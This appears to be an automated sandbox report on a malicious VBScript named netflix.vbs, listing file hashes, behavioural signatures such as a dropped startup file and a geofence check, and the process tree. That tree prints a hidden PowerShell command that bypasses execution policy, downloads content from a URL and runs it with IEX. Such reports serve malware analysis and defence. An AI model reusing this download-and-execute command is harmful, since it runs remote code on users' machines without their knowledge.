Analysis
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max time kernel
145s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
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submitted
14/10/2023, 01:05
General
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Target
netflix.vbs
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Size
1000B
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MD5
3e4a20fd9f6d3e595eba5ab59c868cb6
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SHA1
660ba0a49f0d9db61c1054c78abbce232bc8401c
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SHA256
70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b
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SHA512
85838fd9828c8fc91f0985c8f3e3b1a3c03425e3aba5517104dcbd96c63115545758a625b59bf2d6beaf225758e8af375fc774d6cc612ebef9a126732c200dd8
Malware Config
Extracted
https://www.netflix.com/
Signatures
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Blocklisted process makes network request 2 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 2 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 1 IoCs
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Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\netflix.vbs"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6.5MB
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Filesize
64KB
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Filesize
64KB
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Filesize
6.2MB
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Filesize
136KB
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Filesize
408KB
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Filesize
408KB
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Filesize
7.7MB
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Filesize
104KB
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Filesize
7.7MB
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Filesize
64KB
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Filesize
120KB
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Filesize
304KB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
3.3MB
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Filesize
216KB
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Filesize
200KB
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Filesize
304KB
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Filesize
3.3MB
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Filesize
120KB
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Filesize
652KB
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Filesize
40KB
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Filesize
600KB
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Filesize
68KB
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Filesize
56KB
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Filesize
80KB
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Filesize
104KB
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Filesize
32KB
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Filesize
64KB
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Filesize
7.7MB